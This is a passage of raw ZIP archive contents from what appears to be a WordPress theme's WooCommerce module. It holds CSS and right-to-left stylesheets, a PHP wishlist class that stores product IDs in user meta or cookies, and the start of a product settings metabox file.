	html .woocommerce .penci_sidebar .products.slider > ul.products.mobile-columns-2 > li.product,
	html .woocommerce-page .penci_sidebar .products.slider > ul.products.mobile-columns-2 > li.product,
	.products.slider ul.products.penci-owl-carousel.mobile-columns-2 > li.product {
		width: calc(50% - 12px) !important;
		margin-right: 20px !important;
		padding: 0 !important;
	}
}
.up-sells.upsells.products {
	margin-top: 60px;
}
.pcw-breadcrumb-summary .penci-single-product-top-container {
	padding-top: 0;
}
.woocommerce-notice.woocommerce-thankyou-order-received {
	text-align: center;
}
.pc-proterm-description.post-entry {
	margin-bottom: 10px;
}
.pc-proterm-description.post-entry.pc-proterm-description-bottom {
  margin: -30px 0 30px;
}
.pc-proterm-description:empty {
	display: none;
}
.woocommerce-no-js .woocommerce-tabs .woocommerce-Tabs-panel {
	display: none;
}
.woocommerce-no-js .woocommerce-tabs .tabs + .woocommerce-Tabs-panel {
	display: block;
}PK     0w\yGY9  Y9  )  woocommerce/css/penci-woocommerce-rtl.cssnu [        body.rtl #navigation.header-10 .pcheader-icon.top-search-classes {
	margin-right: 10px;
}
body.rtl .penci-woo-before-main-content .penci-products-per-page a {
	margin-left: 0;
	margin-right: 10px;
}
body.rtl .products.product-style-4 .woocommerce-loop-product__title, .products.product-style-4 .price {
	text-align: right;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button {
	text-align: right;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button {
	justify-content: right;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button.loading:before{
	margin: -2px 0 0 10px;
}
body.rtl .pcheader-icon.shoping-cart-icon {
	margin-left: 0;
}
body.rtl .penci-product-top-filter-button,
body.rtl .penci-woo-before-main-content .penci-products-per-page,
body.rtl .penci-woo-before-main-content .penci-products-shop-view {
	margin-left: 0;
	margin-right: 15px;
}
body.rtl .penci-woo-before-main-content .penci-wofilter-inner > div:first-child {
	margin-right: 0;
}
body.rtl .penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
body.rtl .penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	padding-left: 0;
	padding-right: 60px;
}
body.rtl .penci-extra-buttons .penci-addtowishlist.button:before,
body.rtl .penci-extra-buttons .compare.button:before {
	margin-right: 0;
	margin-left: 5px;
}
body.rtl.woocommerce .penci-extra-buttons > .button {
	margin-right: 0;
	margin-left: 20px;
}
.woocommerce ul.cart_list .product-cart-info,
.woocommerce ul.product_list_widget .product-cart-info,
.woocommerce div.product div.images,
.woocommerce #content div.product div.images,
.woocommerce-page div.product div.images,
.woocommerce-page #content div.product div.images {
	float: right;
}
.penci-sidebar-cart .woocommerce-mini-cart__total.total .amount,
.woocommerce div.product div.summary,
.woocommerce #content div.product div.summary,
.woocommerce-page div.product div.summary,
.woocommerce-page #content div.product div.summary {
	float: left;
}
.penci-top-relate-post {
	right: auto;
	left: 0;
}
.penci-top-relate-post ul {
	flex-direction: row-reverse;
}
.penci-top-relate-post ul li:last-child {
	margin-left: 0;
}
.penci-top-relate-post .inner-content {
	right: auto;
	left: 0;
}
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary {
	margin-left: 0;
	margin-right: 15px;
}
@media only screen and (min-width: 768px) {
	.woocommerce div.product .product_title {
		padding-right: 0;
		padding-left: 110px;
	}
	.woocommerce div.product.penci-summary-align-center .product_title {
		padding-right: 110px;
	}
	.woocommerce div.product.penci-product-img-fullwidth .product_title,
	.woocommerce div.product.penci-product-img-fullwidth-container .product_title,
	.woocommerce div.product.penci-product-img-large .product_title {
		padding-left: 0;
		padding-right: 0;
	}
}
body.rtl.woocommerce .penci_sidebar ul.products li.product,
body.rtl.woocommerce-page .penci_sidebar ul.products li.product {
	margin-left: 0;
}
.variations_form a.reset_variations::before {
	margin-left: 5px;
	margin-right: 0;
}
.woocommerce div.product form.cart .reset_variations, .variations_form a.reset_variations {
	margin-right: 10px;
	margin-left: 0;
}
.products .penci-soledad-product .penci-removewishlist.button:before {
	margin-left: 5px;
	margin-right: 0;
}
.penci-header-cart-detail,
.brands-list .brand-item,
.header-header-ecommerce #logo,
.penci-top-relate-post .top-ralate-item .top-ralate-item__summary,
.header-header-ecommerce .sub-nav-wrapper .vertical-shop-menu ul ul.menu-shop,
.woocommerce div.penci-summary-align-center form.cart .variations td.value,
.products.product-list .penci-soledad-product .penci-product-loop-title,
.products.product-style-4 .woocommerce-loop-product__title,
.products.product-style-4 .price,
.products.product-style-4 .penci-product-loop-title .button,
.products.product-style-2 .woocommerce-loop-product__title,
.products.product-style-6 .woocommerce-loop-product__title,
.products.product-style-6 .price,
.penci-products-compare-table .compare-field {
	text-align: right;
}
.penci-products-compare-table .compare-value .stock.in-stock:before {
	margin-left: 5px;
	margin-right: 0;
}
.penci-products-compare-table .penci-compare-col {
	border-right: 0;
	border-left: 1px solid var(--pcpage_gbdr_cl);
}
.penci-products-compare-table .penci-compare-col:last-child {
	border-left: 0;
}
.woocommerce #respond input#submit.loading:after,
body.rtl .woocommerce a.button.loading:after,
.woocommerce button.button.loading:after,
.woocommerce input.button.loading:after {
	margin-right: -5px;
}
.quick-view-wrapper .summary.entry-summary,
.woocommerce div.product .product_meta {
	text-align: right;
}
.woocommerce .penci-extra-buttons > .button {
	margin-right: 0;
	margin-left: 15px;
}
.woocommerce .penci-extra-buttons > .button:after {
	display: inline-block;
}
.woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button.penci-product-slider-prev {
	left: 0;
}
body.rtl.woocommerce ul.products li.product,
body.rtl.woocommerce-page ul.products li.product {
	margin-left: 0;
	margin-bottom: 30px;
}
.products.icon-style-round .penci-product-loop-button > a.button.loading:after {
	margin: -2px -8px 0 0;
}
.woocommerce ul.products.penci-owl-carousel-slider li.product,
.woocommerce-page ul.products.penci-owl-carousel-slider li.product {
	float: none;
	margin: 0 0 30px;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table th {
	padding-right: 0;
}
.penci-swatches .swatch {
	margin-right: 0;
	margin-left: 8px;
}
.penci-swatches .swatch:last-child {
	margin-left: 0;
}
body.rtl .woocommerce ul.products li.product,
body.rtl.woocommerce ul.products li.product,
body.rtl.woocommerce-page ul.products li.product,
body.rtl .woocommerce-page ul.products li.product {
	float: none;
	margin: 0 0 30px;
}
.woocommerce .thumbnail-left .penci-single-product-top-container .product-labels,
.woocommerce .penci-single-product-top-container .product-labels {
	left: auto;
	right: 10px;
	top: auto;
	transform: translateY(10px);
}
.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
	right: auto;
	left: 120px;
}
.single-product-share .share-title {
	margin-right: 0;
	margin-left: 5px;
}
.woocommerce table.shop_attributes tr td {
	text-align: left;
}
.woocommerce #review_form #respond p.stars > span {
	padding: 5px 15px 0 0;
}
.penci-sidebar-cart .sidecart-content ul li {
	padding: 15px 15px 15px 40px;
}
.woocommerce .widget_shopping_cart .cart_list li,
.woocommerce.widget_shopping_cart .cart_list li {
	padding-left: 40px;
}
body.rtl .woocommerce .widget_shopping_cart .cart_list li a.remove,
body.rtl .woocommerce.widget_shopping_cart .cart_list li a.remove {
	right: auto;
	left: 0;
}
.woocommerce .widget_price_filter .price_label {
	text-align: right;
}
.penci-product-top-filter-button a span {
	margin-left: 0;
	margin-right: 5px;
}
.woocommerce .widget.woocommerce.widget_product_categories li span.count {
	float: left;
}
.single-product-share a {
	margin-right: 0;
	margin-left: 12px;
}
.woocommerce div.product .woocommerce-tabs .panel > h2:first-child, .woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2, .woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title, .woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	text-align: right;
}
.woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li {
	padding-right: 20px;
	padding-left: 40px;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .swatch-inner .filter-swatch {
	margin-right: 0;
	margin-left: 10px;
}
.soledad-product-filter .swatches-display-list li .layered-nav-link, .soledad-product-filter .swatches-display-double li .layered-nav-link {
	float: right;
}
.soledad-product-filter .swatches-display-list li .count, .soledad-product-filter .swatches-display-double li .count {
	float: left;
}
.widget .swatches-display-list .wc-layered-nav-term.with-swatch-color .count {
	padding-left: 0;
	padding-right: 0;
}
.penci-products-compare-table .penci-top-button a:before {
	margin-left: 5px;
	margin-right: 0;
}
body.rtl .woocommerce.penci-products-compare-table .penci-top-button a.button.penci-compare.loading:after,
.products .penci-soledad-product .penci-removewishlist.button.loading:after {
	margin-left: 0;
	margin-right: 5px;
}
.products.icon-style-round.icon-align-vertical.icon-position-top-left .penci-product-loop-buttons,
.products.icon-style-round.icon-align-vertical.icon-position-bottom-left .penci-product-loop-buttons {
	left: 0;
	right: auto;
	justify-content: flex-start;
}
.woocommerce .widget_layered_nav_filters ul li {
	float: right;
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li {
	padding-right: 0;
	margin-right: 0;
	border-right: 0;
	padding-left: 10px;
	margin-left: 10px;
	border-left: 1px solid var(--pcpage_gbdr_cl);
}
.summary .penci-breadcrumb.penci-woo-breadcrumb {
	padding-left: 40px;
	padding-right: 0;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title:after {
	right: auto;
	left: 0;
}
.woocommerce div.penci-summary-align-center form.cart {
	display: flex;
	flex-wrap: wrap;
	justify-content: center;
}
.woocommerce div.penci-summary-align-center .product_meta {
	text-align: center;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove {
	right: auto;
	left: 30px;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table td {
	padding-left: 0;
	padding-right: 30px;
}
.woocommerce div.product form.cart .penci-swatches + .reset_variations,
.woocommerce div.product form.cart .jquery-grid-picker-widget + .reset_variations {
	margin: 0 10px 5px 0;
}
.products.product-list .penci-soledad-product .penci-product-loop-title {
	padding-left: 0;
	padding-right: 30px;
}
.woocommerce ul.products li.product .star-rating {
	right: auto;
	left: 10px;
}
.woocommerce nav.woocommerce-pagination ul li, .woocommerce .woocommerce-pagination ul.page-numbers li, .woocommerce-page .woocommerce-pagination ul.page-numbers li {
	float: right;
	margin-right: 0;
	margin-left: 10px;
}
.woocommerce nav.woocommerce-pagination ul > li:last-child, .woocommerce .woocommerce-pagination ul.page-numbers li:last-child, .woocommerce-page .woocommerce-pagination ul.page-numbers li:last-child {
	margin-left: 0;
}
.woocommerce .products.product-style-2 .penci-product-cats,
.woocommerce .products.product-style-2 .woocommerce-loop-product__title {
	padding-right: 0;
	padding-left: 80px;
}
.woocommerce .products.product-style-2 .product-labels {
	right: auto;
	left: 10px;
}
.woocommerce .penci-content-quickview .product-labels {
	right: 25px;
	left: auto;
}
.woocommerce .widget_shopping_cart .amount,
.woocommerce.widget_shopping_cart .amount {
	float: none;
}
.penci-content-quickview button.mfp-close, .penci-content-quickview button.mfp-arrow {
	right: auto;
	left: 0;
}
.product_meta .penci-product-brands .penci-product-brand a {
	margin-left: 0;
	margin-right: 10px;
}
.products.product-style-4 .penci-product-loop-title .button {
	left: auto;
	right: 0;
}
body.rtl .slick-slider {
	direction: rtl;
}
body.rtl .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-image-list {
	direction: ltr;
}
.woocommerce div.product div.images.woocommerce-product-gallery.thumbnail-bottom .woocommerce-product-gallery__trigger {
	right: auto;
	left: 10px;
}
.penci-extra-buttons .penci-addtowishlist.button.loading:before,
.penci-extra-buttons .compare.button.loading:before {
	margin: -2px 0 0 5px;
}
.soledad-product-filter .with-swatch-image .layer-term-name img {
	margin-right: 0;
	margin-left: 5px;
}
.header-search-style-showup .show-search {
	left: 0;
	right: auto;
}
.header-search-style-showup .show-search form.pc-searchform input.search-input {
	border-left: 0 !important;
	border-right: 1px solid var(--pcborder-cl) !important;
}
.header-search-style-showup .show-search:before {
	right: auto;
	left: 15px;
}
.penci-header-cart-detail {
	right: auto;
	left: 0;
}
body.rtl #navigation.header-6 .pcheader-icon.shoping-cart-icon {
	margin-right: 15px;
}
body.rtl #navigation.header-6 .pcheader-icon:last-child {
	margin-right: 40px;
}
.penci-header-cart-detail ul.product_list_widget li a.remove {
	right: auto;
	left: 10px;
}
.woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li {
	padding-right: 0;
	padding-left: 20px;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button.added:after {
	margin-left: 10px;
	margin-right: 0;
}
body.rtl #navigation.header-4 .pcheader-icon.shoping-cart-icon,
body.rtl #navigation.header-5 .pcheader-icon.shoping-cart-icon,
#navigation.header-1 .pcheader-icon.penci-top-search,
#navigation.header-2 .pcheader-icon.penci-top-search,
#navigation.header-3 .pcheader-icon.penci-top-search,
#navigation.header-6 .pcheader-icon.penci-top-search,
#navigation.header-7 .pcheader-icon.penci-top-search,
#navigation.header-8 .pcheader-icon.penci-top-search,
#navigation .pcheader-icon:first-child {
	margin-right: 10px;
}
.penci-header-wrap .penci-menuhbg-wapper{
	margin-left: 0;
	margin-right: 12px;
}
.penci-header-wrap .pc-builder-element.penci-menuhbg-wapper {
	margin-right: 0;
}
.penci-header-wrap .header-4 .penci-menuhbg-wapper,
.penci-header-wrap .header-5 .penci-menuhbg-wapper{
	margin-left: 12px;
}
.penci-header-wrap .header-6 .penci-menuhbg-wapper{
	margin-left: 12px;
	margin-right: 0;
}
#navigation .pcheader-icon:last-child {
	margin-right: 0;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li::after {
	transform: rotate(180deg);
}
.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
	right: auto;
	left: calc((100% - 1170px) / 2);
}
.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
	right: auto;
	left: calc((100% - 1170px) / 2);
}
html .jq-toast-heading {
	text-align: right;
}
html .jq-toast-heading .product_image{
	margin-right: 0;
	margin-left: 10px;
}
.close-jq-toast-single {
	right: auto;
	left: 7px;
}
@media only screen and (min-width: 768px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-single-product-top-container .product-labels {
		left: auto;
		right: 10px;
		transform: scaleX(-1);
	}
	.woocommerce div.product.penci-summary-align-center .product_title {
		padding-left: 110px;
		padding-right: 110px;
	}
}
@media only screen and (min-width: 768px) {
	.top-related-posts-show .summary .penci-breadcrumb.penci-woo-breadcrumb {
		padding-left: 110px;
		padding-right: 0;
	}
}
PK     0w\pC>.  .     woocommerce/modules/wishlist.phpnu [        <?php

class penci_product_wishlist {

	protected static $instance = null;

	private $save_me = '';

	function __construct() {

		if ( get_theme_mod( 'penci_woocommerce_wishlist_only_logged_in', false ) && ! is_user_logged_in() ) {
			return false;
		}

		if ( get_theme_mod( 'penci_woocommerce_wishlist_show', true ) ) {
			add_action( 'penci_loop_product_buttons', array( $this, 'wishlist_button' ) );
		}

		add_action( 'penci_single_product_extra_buttons', array( $this, 'wishlist_button' ), 5 );

		add_action( 'wp_ajax_nopriv_penci_add_to_wishlist', array( $this, 'add_to_wishlist' ) );
		add_action( 'wp_ajax_penci_add_to_wishlist', array( $this, 'add_to_wishlist' ) );

		add_action( 'wp_ajax_nopriv_penci_remove_wishlist_item', array( $this, 'remove_wishlist_item' ) );
		add_action( 'wp_ajax_penci_remove_wishlist_item', array( $this, 'remove_wishlist_item' ) );

		add_action( 'penci_header_extra_icons', array( $this, 'header_icon' ), 15 );

		add_action( 'penci_current_wishlist', array( $this, 'current_wishlist' ) );

		add_action( 'penci_before_product_loop', array( $this, 'wistlist_remove_icon' ), 10 );

		add_shortcode( 'penci_wishlist', array( $this, 'wishlist_content_shortcode' ) );

		$this->save_me = 'penci_soledad_wishlist_products';
		if ( is_multisite() ) {
			$this->save_me .= '_' . get_current_blog_id();
		}

		add_action( 'admin_notices', array( $this, 'wishlist_admin_notice' ) );

		add_action( 'penci_footer_nav_wishlist_item', array( $this, 'wishlist_footer_nav' ) );

		add_action( 'display_post_states', array( $this, 'admin_wishlist_post_state' ), 10, 2 );

		add_filter( 'the_content', array( $this, 'wishlist_page_content' ) );

		add_filter(
			'body_class',
			function ( $class ) {
				$wishlist_page = get_theme_mod( 'penci_woocommerce_wishlist_page' );

				if ( $wishlist_page && is_page( $wishlist_page ) ) {
					$class[] = 'elementor-page penci-wishlist-page';
				}

				return $class;
			},
			10,
			1
		);
	}

	public static function instance() {
		if ( null == self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	public function wishlist_footer_nav() {
		echo '<span class="current-item">' . $this->current_wishlist( true ) . '</span>';
	}

	public function current_wishlist( $return = false ) {
		$number        = $this->get_user_wishlist( $this->save_me );
		$product_check = array();

		if ( $number && is_array( $number ) ) {
			$product_check = get_posts(
				array(
					'post_type'      => 'product',
					'post__in'       => $number,
					'posts_per_page' => - 1,
				)
			);
		}

		$number = count( $product_check );

		if ( $return ) {
			return $number;
		} else {
			echo $number;
		}
	}

	public function get_user_wishlist( $name ) {

		$save_wishlist = $this->get_data( $name );
		$save_wishlist = unserialize( base64_decode( $save_wishlist ), array( 'allowed_classes' => false ) );

		return $save_wishlist;
	}

	public function get_data( $name ) {

		if ( is_user_logged_in() ) {
			$data = get_user_meta( get_current_user_id(), $name, true );
		} else {
			$data = $this->get_cookie( $name );
		}

		return $data;
	}

	public function get_cookie( $name ) {
		return isset( $_COOKIE[ $name ] ) ? sanitize_text_field( wp_unslash( $_COOKIE[ $name ] ) ) : false;
	}

	public function wishlist_button() {

		$class = '';
		$href  = '?add-to-wishlist=' . get_the_id();
		$text  = penci_woo_translate_text( 'penci_woo_trans_adtwilsh' );

		$save_wisthlist = $this->get_user_wishlist( $this->save_me );

		if ( isset( $save_wisthlist ) && $save_wisthlist && in_array( get_the_ID(), $save_wisthlist ) ) {
			$class = ' added';
			$text  = penci_woo_translate_text( 'penci_woo_trans_brtwilsh' );
			$href  = get_page_link( get_theme_mod( 'penci_woocommerce_wishlist_page' ) );
		}

		echo '<a title="' . $text . '" href="' . $href . '" data-pid="' . get_the_ID() . '" class="penci-addtowishlist button ' . $class . '">' . $text . '</a>';
	}

	public function add_to_wishlist() {

		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( 'Nope!' );
		}

		$productID        = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';
		$productTitle     = get_the_title( $productID );
		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page' );

		if ( ! $productID ) {
			return false;
		}

		$this->set_wishlist_data( $this->save_me, $productID );

		$wish_list_page_url = $wishlist_page_id ? esc_url( get_page_link( $wishlist_page_id ) ) : get_home_url();

		wp_send_json_success(
			array(
				'title'     => esc_attr( get_the_title( $productID ) ),
				'item_link' => esc_url( get_permalink( $productID ) ),
				'img'       => esc_url( get_the_post_thumbnail_url( $productID, 'woocommerce_gallery_thumbnail' ) ),
				'total'     => (int) $this->current_wishlist( true ),
				'url'       => $wish_list_page_url,
			),
			200
		);

		wp_die();
	}

	public function set_wishlist_data( $name, $value ) {

		$current_wishlist = $this->get_data( $name );

		if ( $current_wishlist ) {
			$current_wishlist = unserialize( base64_decode( $current_wishlist ), array( 'allowed_classes' => false ) );

			if ( ! isset( $current_wishlist[ $value ] ) ) {
				$current_wishlist[] = $value;
				$new_wishlist       = base64_encode( serialize( $current_wishlist ) );
				$this->set_data( $name, $new_wishlist );
			}
		} else {
			$current_wishlist   = array();
			$current_wishlist[] = $value;
			$this->set_data( $name, base64_encode( serialize( $current_wishlist ) ) );
		}
	}

	public function set_data( $name, $value ) {
		if ( is_user_logged_in() ) {
			update_user_meta( get_current_user_id(), $name, $value );
		} else {
			$this->set_cookie( $name, $value );
		}
	}

	public function set_cookie( $name, $value ) {
		setcookie( $name, $value, time() + intval( 60 * 60 * 24 * 7 ), COOKIEPATH, COOKIE_DOMAIN, false, false );
		$_COOKIE[ $name ] = $value;
	}

	public function remove_wishlist_item() {

		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( 'Nope!' );
		}

		$productID = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';

		if ( ! $productID ) {
			return false;
		}

		$this->delete_wishlist_item( $this->save_me, $productID );

		$wishlist_page_id  = get_theme_mod( 'penci_woocommerce_wishlist_page' );
		$wishlist_page_url = $wishlist_page_id ? esc_url( get_page_link( $wishlist_page_id ) ) : get_home_url();

		wp_send_json_success(
			array(
				'title'     => esc_attr( get_the_title( $productID ) ),
				'item_link' => esc_url( get_permalink( $productID ) ),
				'img'       => esc_url( get_the_post_thumbnail_url( $productID, 'woocommerce_gallery_thumbnail' ) ),
				'total'     => (int) $this->current_wishlist( true ),
				'url'       => $wishlist_page_url,
			),
			200
		);
	}

	public function delete_wishlist_item( $name, $value ) {

		$current_wishlist = $this->get_data( $name );

		if ( $current_wishlist ) {
			$current_wishlist = unserialize( base64_decode( $current_wishlist ), array( 'allowed_classes' => false ) );

			if ( isset( $current_wishlist ) && $current_wishlist ) {

				if ( ( $key = array_search( $value, $current_wishlist ) ) !== false ) {
					unset( $current_wishlist[ $key ] );
				}

				$new_wishlist = base64_encode( serialize( $current_wishlist ) );
				$this->set_data( $name, $new_wishlist );
			}
		}
	}

	public function header_icon() {
		get_template_part( 'woocommerce/header/wishlist-icon' );
	}

	public function wistlist_remove_icon() {

		$wishlist_page = get_theme_mod( 'penci_woocommerce_wishlist_page' );

		if ( $wishlist_page && is_page( $wishlist_page ) ) {

			$class = '';
			$text  = penci_woo_translate_text( 'penci_woo_trans_rmproduct' );
			$href  = '?remove-from-wishlist=' . get_the_id();

			$save_wisthlist = $this->get_user_wishlist( $this->save_me );

			if ( isset( $save_wisthlist ) && $save_wisthlist && in_array( get_the_ID(), $save_wisthlist ) ) {
				echo '<a title="' . $text . '" href="' . $href . '" data-pID="' . get_the_ID() . '" class="penci-removewishlist button ' . $class . '">' . $text . '</a>'; //phpcs:ignore
			}
		}
	}

	public function wishlist_admin_notice() {
		$query['autofocus[section]'] = 'pencidesign_woo_wishlist_settings';
		$section_link                = add_query_arg( $query, admin_url( 'customize.php' ) );
		if ( get_theme_mod( 'penci_woocommerce_wishlist', false ) && ! get_theme_mod( 'penci_woocommerce_wishlist_page' ) ) {
			?>
			<div class="notice notice-warning is-dismissible">
				<p><?php _e( 'Penci Wishlist need to assign the wishlist page. Please create a new page with <strong>[penci_wishlist]</strong> content shortcode, then go to <a href="' . esc_url( $section_link ) . '">this page</a> to configure.', 'soledad' ); ?></p>
			</div>
			<?php
		}
		if ( get_theme_mod( 'penci_woocommerce_wishlist', false ) && class_exists( 'YITH_WCWL_Frontend' ) ) {
			?>
			<div class="notice notice-error is-dismissible">
				<p><?php _e( 'You\'ve activated the YITH WooCommerce Wishlist plugin, please go to <a href="' . esc_url( $section_link ) . '">this page</a> to disable default theme Wishlist.', 'soledad' ); ?></p>
			</div>
			<?php

		}
	}

	public function admin_wishlist_post_state( $post_states, $post ) {

		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page', false );

		if ( $wishlist_page_id && $post->ID == $wishlist_page_id ) {
			$post_states[] = esc_attr__( 'Soledad Wishlist Products', 'soledad' );
		}

		return $post_states;
	}

	public function wishlist_page_content( $content ) {
		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page', false );

		if ( is_page( $wishlist_page_id ) && empty( $content ) ) {
			$content = $this->wishlist_content_shortcode();
		}

		return $content;
	}

	public function wishlist_content_shortcode() {
		ob_start();
		$this->get_wishlist_products();

		return ob_get_clean();
	}

	public function get_wishlist_products() {

		$classes   = array();
		$classes[] = 'penci-wishlist-products';

		$post_ids = $this->get_user_wishlist( $this->save_me );

		$icon_position = get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' );
		$icon_style    = get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' );
		$pagination    = get_theme_mod( 'penci_woocommerce_wishlist_pagination' );

		$settings = array(
			'class'               => 'penci-wishlists-products-container',
			'pagination'          => $pagination ? $pagination : 'pagination',
			'post_type'           => 'ids',
			'items_per_page'      => get_theme_mod( 'penci_woocommerce_wishlist_ppp', 24 ),
			'include'             => $post_ids,
			'loop_name'           => 'wishlist',
			'icon_style'          => get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ),
			'icon_position'       => $icon_position,
			'icon_animation'      => get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' ),
			'product_round_style' => penci_shop_product_round_style( $icon_style, $icon_position ),
			'product_style'       => get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ),
		);

		$check_products = get_posts(
			array(
				'post_type' => 'product',
				'post__in'  => $post_ids,
			)
		);

		if ( ! empty( $check_products ) && $post_ids ) {
			penci_elementor_products_template( $settings, true );
		} else {
			?>

			<div class="woocommerce">

				<div class="penci-wishlist-products-empty-text">
					<h3 class="penci-wishlist-empty-title"><?php echo penci_woo_translate_text( 'penci_woo_trans_wishlist_empty_title' ); ?></h3>
					<?php echo penci_woo_translate_text( 'penci_woocommerce_wishlist_empty_text' ); ?>
				</div>

				<p class="return-to-shop">
					<a class="button"
						href="<?php echo esc_url( wc_get_page_permalink( 'shop' ) ); ?>">
						<?php echo penci_woo_translate_text( 'penci_woo_trans_returnshop' ); ?>
					</a>
				</p>
			</div>

			<?php
		}
	}
}

$penci_product_wishlist = new penci_product_wishlist();
PK     0w\+")  )  !  woocommerce/modules/metaboxes.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_filter( 'penci_meta_boxes', 'penci_product_meta_box' );
function penci_product_meta_box( $meta_boxes ) {

	$tabs = array(
		'product_general'       => array(
			'label' => esc_html__( 'General', 'soledad' ),
			'icon'  => 'dashicons dashicons-admin-settings',
		),
		'product_background'    => array(
			'label' => esc_html__( 'Background', 'soledad' ),
			'icon'  => 'dashicons dashicons-admin-customizer',
		),
		'product_sidebar'       => array(
			'label' => esc_html__( 'Sidebar', 'soledad' ),
			'icon'  => 'dashicons dashicons-welcome-widgets-menus',
		),
		'product_custom_tab'    => array(
			'label' => esc_html__( 'Custom Tab', 'soledad' ),
			'icon'  => 'dashicons dashicons-table-row-after',
		),
		'product_extra_options' => array(
			'label' => esc_html__( 'Extra Options', 'soledad' ),
			'icon'  => 'dashicons dashicons-cart',
		),
		'product_custom_css'    => array(
			'label' => esc_html__( 'Custom CSS', 'soledad' ),
			'icon'  => 'dashicons dashicons-editor-code',
		),
	);

	$soledad_sidebar_area                      = array();
	$soledad_sidebar_area['']                  = 'Default Value';
	$soledad_sidebar_area['main-sidebar']      = esc_attr__( "Main Sidebar", "soledad" );
	$soledad_sidebar_area['main-sidebar-left'] = esc_attr__( "Main Sidebar Left", "soledad" );
	$soledad_sidebar_area['penci-shop-single'] = esc_attr__( "Sidebar For Single Product", "soledad" );
	for ( $i = 1; $i <= 10; $i ++ ) {
		$soledad_sidebar_area[ 'custom-sidebar-' . $i ] = sprintf( esc_attr__( 'Custom Sidebar %s', 'soledad' ), $i );
	}

	$soledad_sidebar_area = apply_filters( 'penci_woo_settings_sidebars', $soledad_sidebar_area );

	$fields = array(

		array(
			'tab'     => 'product_general',
			'id'      => 'product_summary_align',
			'name'    => esc_html__( 'Product Summary Align', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''       => 'Default Value ( on Customize )',
				'left'   => 'Align Left',
				'center' => 'Align Center',
			),
			'desc'    => esc_html__( 'Override main product summary content for this product.', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_product_img_width',
			'name'    => esc_html__( 'Product image width', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''                    => 'Default Value ( on Customize )',
				'standard'            => 'Standard',
				'medium'              => 'Medium',
				'large'               => 'Large',
				'fullwidth-container' => 'Full Width (Container)',
				'fullwidth'           => 'Full Width',
			),
			'desc'    => esc_html__( 'You can choose different page layout depending on the product image size you need', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_product_thumbnail_position',
			'name'    => esc_html__( 'Thumbnails position', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''                       => 'Default Value ( on Customize )',
				'thumbnail-left'         => 'Left',
				'thumbnail-right'        => 'Right',
				'thumbnail-bottom'       => 'Bottom',
				'thumbnail-bottom-1-col' => 'Bottom 1 Column',
				'thumbnail-bottom-2-col' => 'Bottom 2 Column',
				'thumbnail-grid'         => 'Grid',
				'thumbnail-without'      => 'Without',
			),
			'desc'    => esc_html__( 'Use vertical or horizontal position for thumbnails.', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_product_style',
			'name'    => esc_html__( 'Product Style', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''                  => 'Default Value ( on Customize )',
				'default'           => 'Standard',
				'accordion-tab'     => 'Accordion Toggle',
				'accordion-content' => 'Accordion Content',
			),
			'desc'    => esc_html__( 'Select default product style', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_sticky_atc',
			'name'    => esc_html__( 'Enable sticky add to cart ?', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''        => 'Default Value ( on Customize )',
				'enable'  => 'Enable',
				'disable' => 'Disable',
			),
			'desc'    => esc_html__( 'Enable sticky add to cart on the bottom of the page', 'soledad' ),
		),

		// Sidebar
		array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_position',
			'name'    => esc_html__( 'Sidebar position', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
